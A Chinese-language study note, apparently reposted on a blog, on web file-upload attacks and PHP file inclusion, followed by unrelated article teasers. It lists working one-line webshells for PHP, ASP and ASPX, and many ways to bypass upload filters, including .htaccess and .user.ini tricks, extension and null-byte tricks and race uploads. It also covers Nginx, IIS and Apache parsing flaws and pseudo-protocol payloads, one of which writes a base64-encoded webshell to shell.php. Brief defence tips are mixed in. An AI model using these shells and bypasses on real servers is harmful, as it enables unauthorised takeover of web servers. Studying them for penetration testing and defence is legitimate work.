文件上传笔记整理

  • 文件上传

    • web渗透的核心,内网渗透的基础
    • 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
  • 成功条件

    • 文件成功上传到对方的服务器(躲过杀软)
    • 知道文件上传的具体路径
    • 上传的文件可以执行成功
  • 文件上传的流程

    • 前端JS对上传文件进行检测(文件类型)
    • 服务器端MIME类型(文件类型)检测
    • 服务器端目录路径检测
    • 服务器端文件扩展名检测
    • 服务器端文件内容检测
  • 常用的一句话木马

    • php
      • <?php @eval($_GET['cmd']);?>
      • <?php @eval($_POST['cmd']);?>
      • <?php @eval($_REQUEST['cmd']);?>
    • asp
      • <% eval request('cmd') %>
    • aspx
      • <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
  • 文件上传的几种情况

    • 前端JS绕过(验证文件后缀)
      • 浏览器设置禁用JS代码(不执行检测代码)
      • 正常文件上传,BP抓包修改文件后缀
      • F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
      • F12检查页面代码,替换JS文件(检查窗口不能关闭)
    • 后端MIME类型绕过(验证MIME类型)
      • BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
    • 后端文件后缀名验证+文件内容验证
      • 黑名单验证
        • 尝试对文件后缀名进行爆破(所有可执行的后缀名)
        • 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用)
          • <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
          • SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
        • user.ini文件绕过
          • .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
          • auto_prepend_file=1.png;开头被包含
          • auto_append_file=1.png; 结尾被包含
        • 大小写绕过 .Php .pHp .PhP等
        • 空格绕过 .php ,
        • .绕过 .php.
        • ..绕过 .php.. .php......等
        • /绕过
        • ::$DATA绕过 .php::$DATA
        • 循环验证绕过.pphphp .phtmlhp等
        • unicode编码绕过
        • url编码绕过
      • 白名单验证
        • 路径绕过
          • 文件路径可以操作
            • POST hex下修改00绕过
            • GET %00绕过
          • 对文件路径无验证
        • 文件内容验证
          • 添加图片文件头绕过
          • 二次循环验证(针对文件内容被修改了)
        • 竞争上传(针对先保留再删除的验证逻辑)
        • 逻辑漏洞(代码审计出的逻辑上的漏洞)
          • 通过功能实现逻辑存在漏洞;需要代码审计
      • 解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
        • Nginx
          • 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
            • xxx.jpg%00.php
          • cgi.fix_pathinfo问题
            • 解释:例如/info.jpg/1.php/2.zhide
              • 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
            • 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马)
              • /1.jpg/1.php
              • /1.jpg%00.php
              • /1.jpg/%20\0.php
          • 解决方式:
            • 设置php.ini中的 cgi.fix_pathinfo=0;
            • 禁止上传目录的执行脚本权限
            • 库站分离
            • 高版本设置security.limit_extensions = .php;限制php文件执行
        • IIS
          • IIS5.x~IIS6.x
            • /xx.asp/xx.jpg
            • xx.asp;.jpg
            • test.asa/ test.cer/ test.cdx/
            • 升级版本,更新补丁
          • IIS7.x
            • 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
            • 可以实现对图片马的直接执行
            • 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
        • Apache
          • 2.4.0~2.4.29
            • $可以匹配\n \r等字符;(换行解析漏洞)

            • php%0a绕过;会当成php进行解析
            • php\x0A绕过;同上
            • 升级apache版本即可避免这个问题
          • 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞)
            • test.php.php123 (从右往左进行判断解析)
          • Add Handler解析漏洞
            • 如果用户手动设置了.php文件的解析
              • AddHandler php5-script .php
                • test2.php.jpg绕过;后缀存在php就用php进行解析
              • AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析)
                • 设置的所有后缀都会以php解析
            • 解决方法:默认不手动设置php解析操作
  • 文件包含

    • 本地包含
      • 普通的文件包含;地址为本地地址
    • 远程包含
      • 文件地址为url远程文件地址
    • php伪协议
      • allow_url_fopen默认开启 allow_url_include默认关闭
        • 常用的伪协议示例

      • file:// +文件的绝对路径
        • 使用本地的绝对路径
      • php://
        • 常用
          • php://filter/read=convert.base64-encode/resource=./index
            • 查看源码
            • 参数格式
              • resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
              • read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
              • write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>
                • filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
                • 打开文件时对内容进行base64解码然后写入
              • 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
            • 编码类型(过滤器)
          • php://input+POST请求内容(具体内容必须写在POST请求体中)
            • 元数据的只读流;allow_url_include=On时可用
            • 注:当enctype=”multipart/form-data”时,php://input是无效的。
        • php://output
          • 将内容以标准输出的形式写道缓存区
        • php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
      • https/http://+url地址
        • allow_url_include=On;allow_url_open=On;
        • 多用于远程文件包含
      • 压缩流
        • zip://压缩文件绝对路径%23压缩包中文件名
          • 可以直接执行压缩包中的内容
          • %23 #
          • zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
        • compress.bzip2://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • compress.zlib://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • phar://[文件绝对路径|文件相对路径]/[子文件名称]
          • 归档;访问压缩文件中的子文件
      • data://text/plain 具体命令
        • allow_url_fopen=On allow_url_include=On
        • data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
        • 读取文件内容并执行
      • glob://
      • ssh2://
      • rar://
      • ogg://
      • expect://
  • 文件包含防御

    • allow_url_include和allow_url_fopen关闭;
    • 对用户包含的文件进行限制,如白名单、open_basedir;
    • 检查用户输入;
    • 检查变量是否初始化;
    • 关键的过滤在服务器端进行;
  • 文件下载

    • 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
    • 一般都设有文件保护
  • 小技巧

    • WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
    • 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
    • 文件上传绕过步骤(大致思路)
      • 上传正常的图片文件看回显
      • 删除MIME类型看效果
        • 有问题就MIME爆破
        • 没问题再测试后缀
      • 乱码后缀检测对方的验证方式(确认黑名单还是白名单)
        • 黑名单时后缀名爆破
        • 白名单时尝试解析漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/339579.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

美易官方《投资抄底5年期美债?》

摩根士丹利和摩根大通近期发布报告&#xff0c;建议投资者抄底5年期美债。这两家知名投行认为&#xff0c;当前5年期美债收益率已经处于历史低位&#xff0c;而经济复苏和通胀预期将使得债券价格上涨。 摩根士丹利预计&#xff0c;美国国债有反弹的空间&#xff0c;预计未来几…

【GitHub项目推荐--不错的 C 开源项目】【转载】

大学时接触的第一门语言就是 C语言&#xff0c;虽然距 C语言创立已过了40多年&#xff0c;但其经典性和可移植性任然是当今众多高级语言中不可忽视的&#xff0c;想要学好其他的高级语言&#xff0c;最好是先从掌握 C语言入手。 今天老逛盘点 GitHub 上不错的 C语言 开源项目&…

windows用msvc编译opencv、opencv-python、opencv_contrib、cuda

如要用mingw编译opencv&#xff0c;参考我另外一篇文章https://blog.csdn.net/weixin_44733606/article/details/135741806。 如要用Ubuntu编译opencv&#xff0c;参考我另外一篇文章https://blog.csdn.net/weixin_44733606/article/details/131720128。 一、安装VS2022&…

【CF比赛记录】 —— Codeforces Round 920 (Div. 3)(A、B、C、D)

&#x1f30f;博客主页&#xff1a;PH_modest的博客主页 &#x1f6a9;当前专栏&#xff1a;CF比赛记录 &#x1f48c;其他专栏&#xff1a; &#x1f534;每日一题 &#x1f7e1; cf闯关练习 &#x1f7e2; C语言跬步积累 &#x1f308;座右铭&#xff1a;广积粮&#xff0c;缓…

《红色警戒》开源:重温经典游戏! | 开源日报 No.152

electronicarts/CnC_Remastered_Collection Stars: 17.6k License: NOASSERTION CnC_Remastered_Collection 是一个提供了《泰伯利亚黎明》和《红色警戒》源代码的开源项目。 该项目的主要功能是提供经典游戏命令与征服的重新制作版本。该项目具有改进和优化过的图形和音频效…

idea添加python虚拟环境

新建一个项目 import numpy as np import matplotlib.pyplot as pltif __name__ __main__:# 生成x值&#xff0c;例如在[-2π, 2π]范围内x np.linspace(-2 * np.pi, 2 * np.pi, 1000)# 计算sin(x)的值y np.sin(x)# 绘制图形plt.plot(x, y)plt.title(sin(x) Function)plt.xl…

[嵌入式软件][启蒙篇][仿真平台] STM32F103实现串口输出输入、ADC采集

上一篇&#xff1a;[嵌入式软件][启蒙篇][仿真平台] STM32F103实现LED、按键 文章目录 一、串口输出(1) 简介(2) 示例代码(3) 仿真效果 二、串口输入(1) 简介(2) 示例代码(3) 仿真效果 三、ADC采集(1) 简介(2) 示例代码&#xff08;电压&#xff09;(3) 仿真效果 &#xff08;…

STM32CubeMX配置定时器输入捕获功能

STM32CubeMX配置定时器输入捕获功能 0.前言一、方法简介二、STM32CubeMX配置1.生成PWM信号2.配置TIM3_CH1进行采样3.占空比计算 三、总结 参考文章&#xff1a;CubeMX系列教程——11 定时器输入捕获 0.前言 最近在学习江科大STM32教程的原理部分时&#xff0c;发现该教程中使用…

【EI会议征稿通知】2024年第四届数字信号与计算机通信国际学术会议(DSCC 2024)

2024年第四届数字信号与计算机通信国际学术会议&#xff08;DSCC 2024&#xff09; 2024 4th International Conference on Digital Signal and Computer Communications 第四届数字信号与计算机通信国际会议(DSCC 2024)将于2024年4月12日至14日在中国-香港举行。DSCC 2024旨…

使用Rancher管理Kubernetes集群

部署前规划 整个部署包括2个部分&#xff0c;一是管理集群部署&#xff0c;二是k8s集群部署。管理集群功能主要提供web界面方式管理k8s集群。正常情况&#xff0c;管理集群3个节点即可&#xff0c;k8s集群至少3个。本文以3节点管理集群&#xff0c;3节点k8s集群为例 说明部署过…

【大模型研究】(1):从零开始部署书生·浦语2-20B大模型,使用fastchat和webui部署测试,autodl申请2张显卡,占用显存40G可以运行

1&#xff0c;演示视频 https://www.bilibili.com/video/BV1pT4y1h7Af/ 【大模型研究】&#xff08;1&#xff09;&#xff1a;从零开始部署书生浦语2-20B大模型&#xff0c;使用fastchat和webui部署测试&#xff0c;autodl申请2张显卡&#xff0c;占用显存40G可以运行 2&…

【Web前端开发基础】CSS的盒子模型

CSS的盒子模型 一、学习目标 能够认识不同选择器的优先级公式能够进行CSS权重叠加计算&#xff0c;分析并解决CSS 冲突问题能够认识盒子模型的组成部分能够掌握盒子模型的边框、内边距、外边距的作用及简写形式能够计算盒子的实际大小能够了解外边距折叠现象&#xff0c;并知…

【Go面试向】rune和byte类型的认识与使用

【Go】rune和byte类型的认识与使用 大家好 我是寸铁&#x1f44a; 总结了一篇rune和byte类型的认识与使用的文章✨ 喜欢的小伙伴可以点点关注 &#x1f49d; byte和rune类型定义 byte,占用1个字节&#xff0c;共8个比特位&#xff0c;所以它实际上和uint8没什么本质区别,它表示…

第十四课:eNSP AAA配置教程

一、AAA介绍 AAA是Authentication&#xff08;认证&#xff09;、Authorization&#xff08;授权&#xff09;和Accounting&#xff08;计费&#xff09;的简称&#xff0c;是一种管理框架&#xff0c;它提供了授权部分用户访问指定资源和记录这些用户操作行为的安全机制。因其…

ip_vs 的管理以及 keepalived + lvs 案例

ip_vs 的管理 ipvsadm 与 keepalived for lvs ipvsadm 命令及参数介绍 部署和配置LVS服务会经常用到一些命令&#xff0c;如ipvsadm&#xff0c;可以使用“ipvsadm -help”命令查看使用帮助。 ipvsadm 命令的常用参数及其说明如下&#xff1a; # 添加虚拟服务器# 语法&#x…

计算机网络自顶向下Wireshark labs1-Intro

Wireshark labs1 实验文档&#xff1a;http://www-net.cs.umass.edu/wireshark-labs/Wireshark_Intro_v8.0.pdf 介绍 加深对网络协议的理解通常可以通过观察协议的运行和不断调试协议来大大加深&#xff0c;具体而言&#xff0c;就是观察两个协议实体之间交换的报文序列&…

python系列-顺序/条件/循环语句

&#x1f308;个人主页: 会编程的果子君 ​&#x1f4ab;个人格言:“成为自己未来的主人~” 目录 顺序语句 条件语句 什么是条件语句 语法格式 缩进和代码块 空语句pass 循环语句 while循环 for循环 continue break 顺序语句 默认情况下&#xff0c;Python的代码执行…

精准核酸检测 - 华为OD统一考试

OD统一考试&#xff08;C卷&#xff09; 分值&#xff1a; 100分 题解&#xff1a; Java / Python / C 题目描述 为了达到新冠疫情精准防控的需要&#xff0c;为了避免全员核酸检测带来的浪费&#xff0c;需要精准圈定可能被感染的人群。 现在根据传染病流调以及大数据分析&a…

Linux第34步_TF-A移植的第2步_修改设备树和tf-a.tsv

在虚拟机中&#xff0c;使用VSCode打开linux /atk-mp1/atk-mp1/my-tfa/目录下tf-a.code-workspace”&#xff1b; 找到“tf-a-stm32mp-2.2.r1/fdts”目录&#xff0c;就是设备树文件所在的目录。 见下图&#xff1a; 一、修改“stm32mp157d-atk.dts” 修改后&#xff0c;见下…

日志平台搭建手册

1. Java环境安装和配置 JDK要求安装1.8版本&#xff0c;安装可以参考《Linux安装JDK完整步骤》。 2. 创建用户 创建elk用户&#xff0c;用来管理elk相关的服务&#xff0c;包括&#xff1a;filebeat、logstash、elasticsearch、kibana。执行命令&#xff1a; useradd elk …